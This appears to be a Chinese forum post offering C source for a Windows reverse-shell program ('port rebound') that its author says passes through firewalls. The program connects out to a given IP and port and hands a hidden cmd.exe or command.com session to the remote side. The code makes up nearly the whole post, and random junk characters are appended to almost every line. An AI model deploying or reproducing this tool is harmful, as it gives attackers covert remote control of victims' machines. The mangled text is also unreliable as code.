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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '!ks $}$`h  
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/* ============================== o$Ylqb#  
Rebound port in Windows NT 9pPLOXr ,  
By wind,2006/7 [= BMvP5  
===============================*/ WF-jy7+  
#include r{t6Vv2J  
#include L&y"oAp<  
&PH:J*?C}  
#pragma comment(lib,"wsock32.lib") DRR)mQBb  
=E> P,"D  
void OutputShell(); 4;W{#jk  
SOCKET sClient; M| j=J{r  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; k0O5c[ j  
%LzARTX  
void main(int argc,char **argv) w~'}uh  
{ }3_b%{  
WSADATA stWsaData; a$h^<D ^  
int nRet; <YtjE!2  
SOCKADDR_IN stSaiClient,stSaiServer; F~qZIggD  
Ll-QhcC$  
if(argc != 3) 7H?xp_D  
{ 4Ngp  -  
printf("Useage:\n\rRebound DestIP DestPort\n"); j}B86oX  
return; yci}#,nb  
} +}M3O]?4  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;x 2o|#`b  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <xF]ca  
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stSaiClient.sin_family = AF_INET; p}h.2)PO  
stSaiClient.sin_port = htons(0); rX /'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \o/eF&  
x~R,rb   
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) I#M>b:"t e  
{ Dw7Xy}I/  
printf("Bind Socket Failed!\n"); \>pm (gF  
return; Q K#wsw  
} nw% 9Qw  
p/RT*?<   
stSaiServer.sin_family = AF_INET; OA=~ i/n~  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); qljsoDG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :UP8nq  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Osm))Ua(  
{ Eyjsbj8  
printf("Connect Error!"); nDX Em6|e  
return; qbeUc5`1  
} NU?<bIQ  
OutputShell(); [:#K_EI5%  
} {+7FBdxVB  
}.&;NgZS  
void OutputShell() 6 iMJ0  
{ c`p '5qz  
char szBuff[1024]; <$zhNu~  
SECURITY_ATTRIBUTES stSecurityAttributes; M2|h.+[Q  
OSVERSIONINFO stOsversionInfo; A"&<$5Q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; pc0{  
STARTUPINFO stStartupInfo; MjQju@  
char *szShell; \.O&-oi  
PROCESS_INFORMATION stProcessInformation; Wh| T3&  
unsigned long lBytesRead; /z4c>)fV  
Y8]@y0(  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 2vLun   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Dqii60  
stSecurityAttributes.lpSecurityDescriptor = 0; |u^S}"@3sU  
stSecurityAttributes.bInheritHandle = TRUE; :o{,F7(P  
Gj-nT N  
e%L[bGW'  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [%^sl>,7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); [SC6{ |  
vg[3\!8z[  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); @-Q l6k  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -qDqJ62mC  
stStartupInfo.wShowWindow = SW_HIDE; znTi_S  
stStartupInfo.hStdInput = hReadPipe; 1<73uR&b%  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >8k Xa.)84  
@WS77d~S  
GetVersionEx(&stOsversionInfo); 86 e13MF  
;J TY#)Bh  
switch(stOsversionInfo.dwPlatformId) >~rlnRX  
{ ERIMz ,  
case 1: th[v"qD9G  
szShell = "command.com"; p? o[+L<  
break; k:run2K  
default: ;z.niX.fx  
szShell = "cmd.exe"; mu@J$\   
break; O_a^|ln&  
} ;J,(YNI 1  
[UZ r|F  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rf%lhBv  
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send(sClient,szMsg,77,0); "%Y=+  
while(1) c_*w<vJ-'  
{ -'d:~:1f  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yiC7)=  
if(lBytesRead) *$-X&.h[  
{ =X7kADRq  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %eg+ .  
send(sClient,szBuff,lBytesRead,0); IJGw<cB]+  
} M=uT8JB  
else gtu<#h(  
{ 4/`;(*]Fv  
lBytesRead=recv(sClient,szBuff,1024,0); Z>g>OPu  
if(lBytesRead<=0) break; rx2'].  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |_TI/i>?'  
} px K&aY8  
} )/>BgXwH  
[M~tH *4"  
return; O%\cRn8m  
}
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